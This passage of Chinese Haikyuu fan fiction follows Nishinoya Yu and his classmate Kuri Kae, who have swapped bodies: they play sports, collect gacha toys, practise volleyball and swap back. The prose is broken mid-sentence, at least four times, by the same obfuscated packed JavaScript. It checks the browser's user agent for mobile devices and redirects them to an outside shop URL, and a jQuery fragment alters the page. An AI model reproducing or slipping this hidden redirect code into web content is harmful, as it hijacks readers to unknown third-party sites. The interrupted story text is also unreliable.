“其实我有上过一次体操校队的名单，但没上过正式的比赛，参与训练了三年，带了两年后辈。” “真的假的！一次也没有吗？”西谷夕吃惊道。 “嗯，一次都没有。”九里绘思索。 西谷夕：“为什么！？？” 九里绘：“那里有一条默认的规则是非部内成员不教特定的技巧动作，而我觉得最有意思的动作恰好在那个范围里，索性加入了。” “有次训练时，教练叮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730964|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘱我一定要笑、微笑…我努力把嘴角向上扬，然后被中途叫停，问我是不是身体不舒服，表情像个新鲜出炉的索命女鬼。” “后来就没有上场。”九里绘淡淡地阐述道。 前方是上坡，在逐渐清晰的呼吸声中，西谷夕用力啧了一声，皱起眉头：“那家伙，过分了啊。” 九里绘的心跳快了一秒，跑步的节奏有稍许失控。 西谷夕偏过头，看向她的表情立马变成了笑颜，大大咧咧地拍了一下九里绘的肩膀：“别在意！” 西谷夕挥臂：“我不懂体操的比赛规则，但既然九里同学说过不是为了竞争，而是单纯出于兴趣而去学新东西，那就别把他的话放在心上！！” “依我看，九里同学的动作很干净，砰得一下跳完，啪得一下亮相，不管怎么看都是闪闪发光的啊！” 他笑起来的样子仿佛在背景板上自带阳光、白云和十几朵五彩缤纷的小花。 九里绘的心情也被带动着不自觉地向上提升了一个档位，头有点热。 小花…… 怎么会有人说话自带小花。 看着这张熟悉又陌生的脸，九里绘又默默地移开目光，心情复杂。 究竟是怎么做到的…她的面部肌肉居然能做出如此阳光灿烂的表情…… 而且看西谷夕的状态，一点也没有受到“我看我自己”的困扰。 慢着。 脑海中的灵光一闪而过，九里绘立刻将它捕获，说：“西谷同学，你也做个前空翻试试看。” “我的身体条件可以的，没有问题。”她敲定下来。 “好！”西谷夕也很爽快地应下了，他活动着肩膀跃跃欲试。 不久后，另外一边。 男子足球部的成员进入到休息调整环节，他们拿着杯子，在补充水分的空隙聊起天。 其中有好几人面朝同一个方向，望着不远处的奇景。 “这都第几圈了，我刚才还在场上的时候就注意到了，他们两个跑步是不会消耗体力的吗？” “…怎么刚跑完就能立马接前后侧空手翻啊！啊？？？” “我也想有理由能跟女孩子光明正大地独处啊…可恶！！” “不是，等会。谁会和女同学呆一块的时候比赛倒立啊，脑子缺根筋吗！？” 都缺点吧。 * 到了一处无人注意到的拐角，九里绘突然喊了暂停。 目前的状态绝佳，由于早晨和中午都没有活动过筋骨，她能感觉到这具身体不管是体力还是精力都旺盛得可怕。 当然，她能从西谷夕的表情中看出对方也有一样的体会。 先前的对话如同埋下的种子，悄然在心中发芽。 ……如果是西谷同学的话，她可以因为信任而更加过分一点——向他展现出自己真实的一面。 “你想玩点刺激的东西吗？”她听见自己无法控制的嗓音，夹带着期待与激动，“几乎什么都可以。” 因为凡是她借口做后勤去效仿和学习过的非脑力项目，她可以算是某种程度上的……体育皆通。 九里绘开始有点不太想错过他了。 8. 08章 08章——所以说，请让我迷上你吧 一小时后。 这帮男子足球部的成员们结束了今天的训练。除了少数留下来自行加训的人之外，只剩一年级的新生在收拾和整理物品，给后勤工作打下手。 “真羡慕啊，我也想一年级就当上正选。” “先把基本功练练好啦，到了后两年总有机会能选上的。” 两人聊着聊着，不经意地看见脚下的足球，互相瞄了眼对方，相视微笑。 奋力一脚，足球朝着球门疾驰而去。 随着一声清脆的撞击，足球狠狠击中了球门边框，紧接着瞬间改变了方向，失控地飞出足球场，冲向一旁的跑道。 “还好附近的人都走光了。”其中一人一脸轻松地说，“不用担心有流弹砸到人。” 说时迟那时快，疾风擦过脸庞，一道半路冲出的身影迅速窜出、主动出现在球飞行的轨道上，伸出向下倾斜的双臂。 微微弯曲的膝盖，双脚分开，当足球正式飞入跑道的刹那，与“她”的手臂肌肤相撞。 “啪。”是标准的排球接球手型，足球落在了由手臂外翻组成的平面。 ——还没有结束呢。西谷夕心想。 有着乌黑长发的“女生”轻轻蹬地，用力将球往上空送。 等球坠到最佳位置的时候，“她”身边的“男生”向前跃起，猛地一脚，将足球踢进球门。 足球擦着门框撞到了白色的网格线，整套动作一气呵成，默契而流畅。 “男生”·九里绘平静地抹掉额角的汗：“现在最适合喊什么？” “女生”·西谷夕反应过来，高兴地握拳打空气：“噢噢噢！Nice point！！” 九里绘面无表情地张开五指，举到半空。 啪！ 击掌庆祝完，西谷夕才意识到：“你还会踢足球的吗？！” 九里绘点点头，表示：“看见了，觉得有点意思，就会学。” 联想到西谷夕和她相处了几乎一天都没有介意她的废话连篇，九里绘接着如实回答：“国中的体育类社团，足球篮球羽毛球、网球棒球曲棍球…或许还有个乒乓球，我都——” “全部都会！？”西谷夕没忍住插话道。 “——都在他们社团活动期间做过后勤，偷懒时会模仿他们的动作。”九里绘补完。 西谷夕掰着手指数了一遍，惋惜不已：“排球…就是没去过排球部啊！说不定就能接触到排球了吧，可恶！！” 九里绘解释道：“我国中的排球部很热闹，人数很多，从来不缺打杂，所以就没去。” 西谷夕听完后仍不解气，又追加了两句哀嚎：“可恶、可恶啊！！可恶的学校！” 九里绘安慰他：“虽然没去成，但排球还是接触过几次的。” 足球部的两名一年级新生望而却步：“……” 他们不应该在这里，他们应该在车底。 目送着路过的二人继续奔跑远去的背影，新生们心头的思绪万分。 “我们…原来还差得远啊。”其中一人感叹道。 “想当上正选，我们必须要进行更多、更多的练习。”另一人似有所感地接话。 “嗯，是啊。” 两人以此为勉励，鼓舞气势到一半却爆发出了惊人的呐喊。 “所以说，愿意陪着一起练体育的女孩子到底是从哪里找的啊！？” * 九里绘觉得，是时候把西谷夕当成朋友来看待了。 于是她拍了拍旁边人的肩，说：“西谷同学，我请你去玩扭蛋吧。” 九里绘的生活和思维模式都很简单。 吃饭要吃好，睡觉要睡饱，醒着的时间在自己感兴趣的事情上拼命奋斗，最后再犒劳自己玩几次扭蛋机。 可以说除了每隔一段时间就会出现变动的兴趣中，扭蛋是最稳定的一个爱好了。 到后面，请客玩扭蛋逐渐变成了她交友的必备标准活动之一。 这个时间点的乌野学生早已经过了离校回家的热潮，因此板下商店的人不会多。 在附近张望了半天，确定里面没有觉得眼熟的同学后，两人才放心大胆地走过去。 停在店门外侧的扭蛋机跟前。 西谷夕抱着膝盖蹲下，锁定了其中一个：“哦！新上了很多运动项目主题的挂件诶！！” 九里绘打量了几眼，说：“这个系列推出一段时间了吧，我以前玩过几次，大概出了六次篮球和三次滑板，没见到过排球。” 她平时经常去的是家门口的商业街，对板下商店不熟，一部分原因是这家店距离学校最近，碰到同班同学就不得不打招呼。 九里绘脸盲，认不出同学，没有立刻回应，结果第二天就成为了一部分人碎嘴的话题。 “随机性果然很难抽。”她感叹。 半蹲着的西谷夕还在饶有兴趣地观察扭蛋球，九里绘突然感受到一股锐利的视线，来自正前方。 抬起头，她看见了落地窗后面的黄毛大叔。 九里绘：？ 乌养系心：“……” 坐在店内收银台位置的黄毛大叔莫名其妙地盯着她，眼睛一眨不眨，后又变成一秒眨三下，如此循环，像是在用眼睛发送摩斯电码。 搞什么嘛……她完全看不懂。 一股子犟劲的九里绘当即将一切都抛在脑后，她撇撇嘴，双手抱住手臂，四目相对，紧紧盯住。 与此同时，乌养系心看见店内常客“西谷夕”投来的看陌生人般的眼神，发出了一个大大的问号：“？” 他这一系列动作其实包含了多层意思，仅针对身体原主。 第一层：今天吹得什么风啊，你居然没喷发胶做造型。 第二层：慢着我好像猜到了……你竟然带了女同学一起来？？ 第三层：为了和女同学制造话题，你都开始胡编乱造了！？ 第四层：喂，不要用拉踩我家店的方式博取女同学的好感啊！！（捶桌） 第五层：你小子——！？（面目狰狞） …… 很显然，西谷壳子里的九里绘阅读理解不是很好，只读懂了零点五层，即：这个人在瞪我，那我也瞪他。 过了一会儿，西谷夕终于选好了他锁定的扭蛋机，还是那个运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730965|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动项目主题的挂件。 九里绘收回视线，打开钱包塞入几枚硬币，屏气凝神地等待西谷夕慢慢转动按钮。 转动…… 啪嗒一声，“蛋壳”坠下来了。 西谷夕赶紧打开，隔着一层薄薄的塑料袋，他看着手心的挂件面露迟疑：“这是什么？” “甩绳子……” 九里绘突然靠过来，和他头发贴着头发：“是体操。” 西谷夕倏地跑出去三米远。 九里同学就、就这么……这么无所谓社交距离的吗！？ * 接下来又咬咬牙抽了两次，依次是游泳和攀岩的挂件。 体操挂件送给了九里绘，后两只小挂件和西谷夕书包的拉链扣在一起，摇晃剧烈时会产生碰撞的轻响。 他的心情超好，仿佛全然没有烦恼一样踏上回家的路。 只是望见头顶高高挂起的夕阳，西谷夕难免怀念起了一些时光。 夕阳——如果放在平时，他参加完部活，走出第二体育馆，天气好的情况下，一眼就能看到和今天一样的夕阳。 “在想什么？”九里绘冷不丁地开口。 “嗨！？”西谷夕吓了一跳。 在西谷夕毫无察觉的视角中，九里绘一直都在观察他。 把他当成是珍藏品那样，默不作声地欣赏。 这次突然出声，有一部分原因是九里绘想起了天台上她被西谷大嗓门吓到的一幕，如今两人都扯平了。 西谷夕直率地说：“我在想排球的事！” “有点怀念排球部的大家。”西谷夕说，“新学期一定有很多后辈们加入进来了吧！他们会是什么样的性格呢？球技怎么样？” “升上三年级的前辈们会如何指导我们？我作为二年级的前辈……嘛，虽然这么说有点不好意思，但果然还是很期待啊——！被学弟们称作‘前辈’！！” 倾听了那么长的发言，九里绘久违地发现原来她也可以是一个在社交中充满耐心的性格。 只是西谷夕口中多次提到的是社团而非自己，她有些不太理解：为什么要那么看重社团呢？人多的地方不应该更容易引起纠纷吗？ 但即便如此，九里绘总是会尊重别人的想法。 所以她会开口说：“西谷同学想打排球吗？今天你还没打过排球。” “诶？可以吗！？”西谷夕不敢置信地大喊，“可现在的身体……” 九里绘：“身体什么的不重要吧，你说想不想就行。” 西谷夕：“那绝对是想的啊！！” “那就没问题了，去打吧。”九里绘抿了抿嘴。 她快速在心中审视了一遍近日的生活，前一个兴趣因不可抗力的理由被迫中止，而目前她处于无兴趣可耕作的“空窗期”。 “有一件事，我想麻烦西谷同学帮我一个忙。” “不麻烦！九里同学请随便提！” “就目前而言，我对西谷同学的兴趣高于排球这项运动。”九里绘斟酌起语句。 刹那间，她灵感迸发，接道：“所以拜托你，请想尽一切办法让我像迷上你一样迷上排球吧。” 9. 09章 09章——百分百的排球同步率 “……” “西谷同学，你能听见我说话吗？” 熟悉的对话，熟悉的定格成雕塑，陌生的地点，九里绘又想不通了。 每当她发言结束后，西谷夕的脸……不，准确来说是西谷夕顶着她的脸会变成一颗熟透了的番茄。 “抱歉，九里同学。”西谷夕颤巍巍地说，“能不能在你每次讲完类似今天的这种话后，给我点时间缓冲下。” 九里绘点点头：“好。” 听罢西谷夕使劲捂住了脸。 啊啊啊啊——！那种事情不要啊啊啊啊啊啊！ 什么“你在排球场上的身影曾让我留恋不已”，现在又来了一个“请想尽一切办法让我像迷上你一样迷上排球吧”，现在的粉丝都是这么说话的吗！？ 或许只有九里同学会…… 西谷夕反复告诫自己不要想歪，放下遮脸的手，九里绘一脸正直的表情近在眼前，更加让他确信了内心的观点。 害羞什么的都是他的问题啦，什么dokidoki的滤镜，压根没有存在过！ 他绝对不可以亵渎九里同学对自己打排球的欣赏！ * 傍晚，社区体育馆。 新学期刚开始没多久，校园内基本都有自带的运动场馆，所以会经常踏足这里的多数为成年人。 互换了身体的西谷夕和九里绘兴致高昂地走进室内，没等他们反应过来，一道豪迈的音量从馆的最里头传到最外头。 是来自年长女性们组成的“阿姨排球队”（自称），她们十分热情地挥手招呼：“西谷小子，今天也来打排球啊！” “……”呆在西谷壳子里的九里绘创出了一秒六个假动作的历史新高。 她用焦急的眼神同西谷夕本人交流：【怎么办？我不认识她们，该怎么回答？】 西谷夕一秒眨了六次眼，试图传达：【不要慌，问题不大（翻译：他也不知道，可是他必须要当站出来的那一个！）——总之，放心交给我！！】 清秀的黑发女孩礼貌地举起右手：“阿姨！今天西谷同学他嗓子痛，身体不舒服，就由我来加入你们好了！” 说罢，“她”习惯性扬起了浅浅的笑容…想起了九里绘的叮嘱奋力把嘴角给压下去，神态一度显得特别抽象。 九里绘：盯—— 西谷夕赶紧抬手遮住奇怪的表情，一话两用：“……我会努力的。” 阿姨排球队的队员们面面相觑，随即朝他们大方地笑了笑：“好啊，热烈欢迎。” “话说我们有多久没有新人加入了？还是精力充沛的小女孩～” 得到了允许后，西谷去换衣地点翻出了他的护具套装。 不论是身高还是体型，西谷夕和九里绘的外形看起来都极为接近，同样尺码的护具试戴起来适配良好。 “请多指教！”他戴完右臂上的护肘。 九里绘嘴里咀嚼口香糖，望着他热身的背影慢悠悠地发呆。 “西谷同学原本的身高是多少？”她问。 西谷夕愣了一下，刚到嘴边的数字下意识改为：“啊…160！” 其实是159。他心虚得挪开视线，在粉丝面前强撑最后的倔强。 九里绘没发现问题，她信以为真，自顾自地说：“我的身高是159.6cm。” 真实身高159.3cm的西谷夕感觉心咯噔了一下。 临时谎报身高夺得的胜利并不长久，西谷夕闭目握拳，全身上下连脚趾都在用力…… 内心呐喊：长高啊！快点长高啊我的身体——！ 哦不对，他现在是在九里同学的身体里。 “西谷同学很高啊。”九里绘真心实意地说，没有阴阳怪气的意思。 在她的观念下，比她高的人都能这样夸，高多少无所谓，不受任何标准的束缚，只参考她的“九里绘”式标准。 就在西谷夕快要做完热身准备的时候，九里绘才意识到一个被两人长期忽视的问题。 西谷要打排球——应该特指西谷夕的“身体”+“灵魂”，缺一不可。 然而现在全都只有一半“散件”。 碰巧西谷夕问道：“九里同学以前打过排球吗？” “打过一点点，只会向上垫球和对墙垫球……”九里绘思考，“除此之外技术都很烂，非常烂。” “但我想试一试。” 话音还未完全落下，她率先让身体动起来。 行动力超强地原地做起拉伸运动，九里绘说：“麻烦西谷同学暂时帮忙当一下，扔球的。” 九里绘对和排球有关的专有名词一概不知，别说初学者了，连大多数观众都不如。 但这不妨碍她一有某个念头就立即动身，投入到实践。 “先试一次。”九里绘竖起左手的食指，商量道，“说不定…作为没怎么打过排球的我，身体会先动起来。” 面对没见过、没接触过的事物，九里绘常常会觉得心痒痒，不去碰两下浑身难受。 别管那些聪明人总结出的技巧了，不试试的话，怎么知道结果如何呢？ 不试试的话，该何从知晓“身体互换”会不会附带些奇妙的连锁反应？ 唇边有些干涩，九里绘舔了舔嘴角，将目光锁定在西谷夕手里的排球。 “可以模拟一下你救球时的场景吗？” 兴许是注意到那股锐利的视线，西谷夕安静了下来。 下巴微微抬起，举高托球的手臂。 他没有片刻的迟疑，当即用眼丈量完两人的站位距离和附近的环境，往后跑了一小段，转身调整角度，抛球…猛地扣向九里绘身旁的墙壁。 虽说是自由人比赛中用不到的技能，但他好歹是会扣球的啊。 在飞出的排球砸出前，西谷夕懵了一下，成功把自己惊成了苍白的纸片小人。 坏了，九里同学刚说“没怎么打过排球”，他就下意识直接出手了！ 人数不够时，靠砸墙的反弹来训练网前救球……这种事也完全忘记解释了！ ——总而言之，排球是无论条件多么恶劣，都要接住的东西对吧。 回弹的排球飞出了一个偏低斜的角度，九里绘弯曲膝盖，把全身的重心沉向地面。 忽然间，直觉告诉她光这点应该不够，为了尽快冲到落球点，必须要脚尖跟着发力…… 她感觉到自己的脚后跟正在抬离地面。 九里绘不了解接球的诀窍要领，只能凭记忆中西谷夕接球刹那间的动作，往回推测比较合适的姿势。 上述的步骤仅发生在转瞬间，没时间顾虑其它，腿必须先动起来。 因为发力点在脚尖，身体很快地调整到了前倾的姿势，弓腰、摆腿、快速冲出。 察觉到球的高度不够，眼看就要落地，刚夹紧双臂的九里绘大脑一片空白，她松开手指，朝最远距离伸出右臂。 拳头敲到地面的同时，指侧传来了排球的触感。 ——然后排球就以无比灾难、几乎和地面平行的角度飞了出去，对这个世界毫无留恋。 九里绘更加灾难地跌了一跤，排球超级门外汉的原形毕露。 就算继承了打排球的身体，没有会打排球的灵魂，果然还是做不好啊。 “九里同学——”西谷夕从苍白纸片人的状态转变成了世界名画·呐喊。 九里绘平躺在地上，望天，对这个世界毫无留恋：“抱歉，是我太弱小了，没有力量。” “请去参加你的特训吧，西谷同学，不用在意我。” * 终于把西谷劝走后，九里绘找了个不会干扰他的角落，独自练习排球。 “其实我觉得，你把手臂往上抬一些，别让击球点太靠下，避免手臂过早碰到球，球就不会往前飞出去了。”一个陌生男生的嗓音在旁边很自然地响起。 闻言，九里绘细细感受了一下身体的反馈：“…好，谢谢。” 她看过去，顿时肃然起敬：“你会打排球吗？” “嘛…也不算会吧。”棕发男孩放下游戏机，摸了摸头，“我姐姐会打排球，她找不到同好，从小就爱边打边给我灌输排球方面的内容……所以大致懂些理论。” “足够了。”九里绘了然地评价。 男孩：？ “那么，烦请你在看我练球时多多关照？”九里绘的词汇量不足，为表诚意，她补充道，“拜托你了，小孩哥，结束请你吃冰棍。” 棕发男孩跳起来：“谁是小孩啊！…慢着槽点不在这，不要给刚认识的陌生人随便起绰号啊！” 她面不改色地收下批评，可死性不改：“我的名字是九——” 完蛋，差点忘了互换身体的事。 九里绘：“不告诉你。” “……自我介绍还能暂停？是怕我找上门吗？”棕发男孩无奈道，“算了，我叫中尾莲，国中三年级。” 九里绘略感意外：“不是小学生啊？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她赶回“阿姨排球队”的球网附近，继续观摩比赛。 中间休息的时候，西谷夕看见她的到来，兴奋地冲到旁边。 他喊：“九……西谷同学！” 够了，这种叫自己名字的闹剧何时才能结束。 九里绘跳过称呼话题，也无视了西谷夕用她的脸摆出的ooc表情，关心地问道：“身体有不舒服的地方吗？没有让你减轻运动量的意思，是想问问打排球的适应性。” 西谷夕低头陷入思索，他之前完全没考虑过，临时想了一下：“没有！” 九里绘：“真是神奇……没事了，我会看完你的训练。” 所以果然和身体比起来，还是灵魂更胜一筹吗？ 假设在身高体重都几乎没有差别的前提条件下，西谷夕用她的身体适应打排球到底花费了多长时间？ 这时，西谷夕和阿姨们说了两句话，然后立马转过头，朝她的方向自信地竖起三根手指。 三？ 九里绘虽然不理解，但也比出三根手指回应：三什么？用三分钟就能调整好状态吗？那好厉害。 事实却并非如此，西谷夕将用行动阐明这一点。 不是三分钟…也不至于三秒那么变态，也不是三个球。 而是三步。 依次是：做出舒服的重心下沉姿势，翻起的掌心伸直手臂，对飞来的排球摆出应对的“平台”。 “咚！”接到了。 适应性在身体都未能注意到的某个角落快速充盈。 西谷夕只是普普通通地完成了他数以万计的接球中的一次，落在九里绘眼里，份量却截然不同。 在她看来，灵魂与躯壳的同步率在一瞬间拉满，她的心跳声与接球时发出的声响严丝合缝地重叠到一起。 九里绘：“好帅！”酷炫到爆炸了。 他是西谷夕，错误的外表让她有一刹那误以为是在看自己。 但再怎么说，那都是西谷夕做到的……等等。 不知为何，九里绘的脑海中浮现出中尾莲的一段话，和那道背影渐渐重合： 【如果想学打排球的话，什么时候开始都不会晚。】 …… 因此，她也可以。 10. 10章 10章——换回来了，说干就干 第二天早上天没完全亮，西谷夕在自家卧室醒了过来。 他全身僵硬地反射性一跃，在床头安全着地的同时揪住了最边缘的睡衣一角，警惕地仰起脖子望向天花板，阻止自己习惯性向下看。 哇，这个吊灯真的好吊灯啊…等等。 眼睛扫过周围如此熟悉的卧室布局，他立即冲向洗手间看镜中的自己，然后把整个屋子的所有房间从头到尾跑了个遍。 屡次三番地确认过后，他潇洒地展开双臂，随后用力地攥拳往身体的方向一握，高声宣布：“换回来了！！” 今天也是没有烦恼且活力满满的一天！！！ 等等。 这个好消息要和九里同学分享！！！ 噼里啪啦拿出手机敲了一大段感叹号，西谷夕紧盯着屏幕等了半分钟，对面还没有回复。 发完短信再发LINE，迟钝的脑袋比不上迅捷的手指，完全把“现在天还没亮”这件事给抛到了脑后。 在西谷夕意识到之前，九里绘也被手机提示音喊醒了。 她在LINE里很简单地回了一句：【嗯，换回来了。】 【西谷夕：好诶！！！！】 “正在输入中”的对话框在界面上多停留了几秒。 【九里绘：虽然你可能不清楚发生了什么，但是很感谢你，西谷同学。开心！：D】 西谷夕意外地发现九里绘在发消息时的状态，跟日程生活中碰面的不太一样。 硬要去形容的话……一般来说，九里绘带给他的第一印象是不爱说话，或许还能被解读成怕生。 总是没有什么表情，是个典型的回避社交的性格。 但这些标签从未在西谷夕的脑海里停留超过三秒钟，他是个与人相处非常靠感觉的体验派。 所谓体验派，就是不提前施加任何幻想，直接去接触，然后原封不动地认识一个完整的人。 他觉得九里绘很擅长说话，聊天很有趣，特征是需要一定的时间作为前期缓冲，后面才会渐入佳境。 简直就像蓄力武器一样需要一丁点时间来整装待发……好有意思。 然后这种聊天模式在互联网上就自动略过了前期准备，Line上的文字急速朝着热情活泼的风范上狂奔，一去不复返。 【九里绘：（两眼发光.jpg）】 【九里绘：我是指排球的事！】 【九里绘：以后我可以一直看着西谷同学接球，并且在打排球上请教西谷同学嘛！】 出现了！来自狂热粉丝的直球攻击！ 自由人西谷使出浑身解数去接下这发来势汹汹的攻击——接到了！可惜自己也受到了损伤。 西谷夕的脑袋有点烧开，晕乎乎地回复：【好。】连感叹号都忘了打。 【九里绘：好！！】像是替他把漏打的那份感叹号一并发了出来。 【九里绘：上课前在板下商店门口见面可以吗？要把各自的东西也全部换回来。】 西谷夕揣着手机回到他的卧室，进门第一眼就看见了收拾整洁的桌面。 黑色笔袋压在一沓教科书和作业簿上，旁边架子上的东西摆放得有些凌乱，却和前天的状态相差无几。 墙壁挂起乌野的黑色制服外套，还有叠在床头预备今天穿的衬衫，视线扫过这些，一股莫名的情绪将西谷夕的心情推至一个高点。 幸好互换身体的对象是超级靠谱的九里同学！！——他不免这样想。 【西谷夕：过会见！！！】 由于谁也没问清楚“过会见”到底指的是几点，这条消息发出后，两人马上放下手机去洗漱，争取尽早抵达约定地点。 于是乎，天蒙蒙亮。 板下商店还没有到营业的时间…不，应该说整条商业街除了早点铺外没有任何一家门店是准备好开业的。 九里绘在写着“歇业中”的门牌前蹲着，数花坛里的蚂蚁。 一阵微风拂过脸庞，九里绘毫无征兆地将脖子转到一边，恰好这时，在那同方向的天际线处，一个小黑点正在以超高速朝着这里冲刺！ 十几秒后，西谷夕在店门口一个脚底板急刹车。 “早上好！九里同学！！！” “西谷同学，早上好。” 两人异口同声。 打完招呼，西谷夕看向九里绘，有些困惑地眨了眨眼，然后猛然间想通了什么，立刻僵住，刚才那副游刃有余的状态荡然无存。 “先换回手机，接着是今天要交的习题作业和课本——”九里绘没注意到他的异样，自顾自地把书包反背在胸口，拧开拉链，麻利地交换起东西。 西谷夕看懵了。 在他的眼里，一切都仿佛出现了慢动作。 气质上偏向安静内向的文艺少女，昨天的披散黑发被扎成了麻花辫，轻轻地垂在肩头，辫子偶尔会随着她的动作而微微摇曳。 有注意到视线，但根本不在意的九里绘继续手头的忙碌：“啊水杯…不对，水杯没有换过。” 再向附近看去，简单的白衬衫加短裙，乌野的黑色外套，透出一种很清新的学生…尤其是女生的气息。 那双灵动的、时不时瞟来和他目光对上的浅色的蓝眼眸，简直就跟晴朗天气下的天空一样—— “——啊、啊啊啊啊啊啊！！”西谷夕爆发出惊人的嗓门。 “出什么事了吗？”把互换的东西全都整理完毕，九里绘提了提书包长带，不解地问道。 是女生… 是女生啊！！ 虽然这么说非常让人难以理解，但西谷夕在见到九里绘“灵魂”+“身体”的完全本尊的瞬间，才潘然有所醒悟。 新交的朋友是异性，是真正的女孩子，是从头到脚、从身体到心理再到灵魂都是女孩子的标准高中JK啊！！！ 完蛋了…他昨晚盯着自己的脸适应得过于良好，越相处越觉得自己是结交了一位“跟自己长得像”的好兄弟，渐渐得意忘形了一整天。 直到此刻……直到目睹到JK完全体的九里绘，西谷夕才开始后知后觉地有所退缩（物理意义上）。 他偷偷往后挪了两步，保持到一个合适的异性同学的社交距离。 西谷夕结巴：“那、那个…既然没什么其它事，就一起去学校吧！” “好。“话音刚落的下一秒，九里绘主动向前迈了一步。 光速粉碎了没起到任何作用的“异性同学社交距离”结界。 “在到这里之前，我远远看见两个男生的人影，他们也穿着乌野的制服。”并肩前行的路上，九里绘说道。 西谷夕的想法一下子被带偏，他稍微提了提黑色竖领，说：“起得好早！是来晨练的吗？” “嗯，后来他们在交叉路口碰面了，很有气势地对吼了两句，接着跑了起来，好像在比赛谁的速度更快。”九里绘的眼睛亮了亮，“西谷同学，要一起比跑步吗？” 跑步……哦，是比赛啊！ 九里同学是好热情、好有活力的女孩子！！ 这种想法从全天候精力旺盛的西谷夕脑袋里长出来未免显得有些奇怪。 他将双臂交叉置于身前，看似严肃认真地考虑起这项重大的决策问题。 实际上脑子里一片混乱，挤满了自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730967|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言自语的弹幕：和女生相处，该怎么做来着，哦对了，这时候最好的回应方式绝对是那个吧，一定是那个吧！—— 证明自己的男子气概！ “我是不会输的！！”西谷夕的小宇宙爆发了。 不出几分钟，西谷夕又一次因为体育竞技类型的话题，把撞见异性时的尴尬和羞涩忘了个彻彻底底。 九里绘愉快地抿抿嘴，随后蹲下，重新系紧鞋带。 西谷夕将垮肩包用力甩到背后，活动起脚腕。 …… “预备…跑！！”九里绘大喊。 两人几乎是同时冲出树枝划出的临时起跑线。 迅疾的速度仿佛要将空气都撕裂开来，谁都没想过放水，原来的位置只留下两道模糊的身影。 身影已经跑远，板下商店靠近侧门口的窗帘缓慢地掀起一角。 被自家老妈大清早拖起来核对进货信息的乌养系心怨念地点起烟：“搞什么，一大早就仗着体力用不完开始扰民的，果然是那群高中生啊混蛋。” “……不对，怎么还是他小子。” * 到了下午，九里绘是被人叫醒的。 开学以来，心地善良的后桌掌握了她的习性，会在每天放学前两分钟准时轻戳后背。 九里绘迷迷糊糊地苏醒过来，低头看了眼手表，而后在老师眼皮子底下收拾课本和书桌。 她忙着手头的动作，心思却完全飘到了九霄云外。 九里绘在思考排球的事。 了解排球基础知识的办法无非两种，找懂的人请教或是自己查阅资料。 想到这里，她暗自下定决心，这回就算再怎么看不懂阅读理解，也要把排球规则书给啃完—— “九里同学，请等下。” 放学铃声一响，眼看着九里绘就要逃离教室，一只有力的手从后方按住了她的臂膀。 是后桌中尾葵，她解释：“班长说要统一收社团申请书，麻烦九里同学交完后再传到前面。” 社团招新日才结束不久，申请书除了交给各自负责的社长外，还要在班主任那里预留一份。 “好。”九里绘平静地回复，她没有要加入的社团，干脆直接递给前排。 ……慢着。 她收回手。 余光瞥见一个很熟悉的词语，她注意到最上方的那张申请书写着“排球部”的字样。 班级：1年级2组，姓名：中尾葵。 九里绘反手把申请书交掉，随后快速回到座位，转向后桌。 “中尾，你最近有时间吗？” “诶？有一点！”中尾葵被她充满执念的眼神盯得直发麻，一下子紧张起来，“放学以后应该都没什么事。” 九里绘觉得奇怪：“你今天不用参加女排的部活吗？” “第一天去报道的时候不小心闯了祸，所以……”中尾葵的声音越来越小，左手和右手的食指对着戳，后面部分就完全听不清了。 中尾葵立正：“但是我有在自主练习！” “啊。”九里绘没听见发生了什么，但她并不在意这些琐事。 “能教我打排球吗？”九里绘语气认真，诚恳道，“我会努力上进的，也能帮你练习。” 中尾葵的脸上显露出了惊喜，她想都没想就疯狂点头：“当然行，如果你不介意我的排球水平。” “我会很期待跟九里同学一起打排球的。” …… “能另外喊人一起打吗？”九里绘忽然提起。 “应该没有问题吧。”中尾葵莫名有种不祥的预感。 九里绘：计划通.jpg 11. 11章 11章——住手，不要乱拐橘子头啊！ 九里绘给自己设定的基本功训练计划正在稳步进行中。 几乎所有同学的眼里，九里绘看似过着和往常一样的生活。 上课三心二意，笔记看不懂但会尽力抄，作业那低到令人发指的准确率一看就是她本人写的。 然后在打响最后一节下课铃的瞬间，提起书包冲出后门，争做回家练排球部的第一名—— “九里你留一下。” 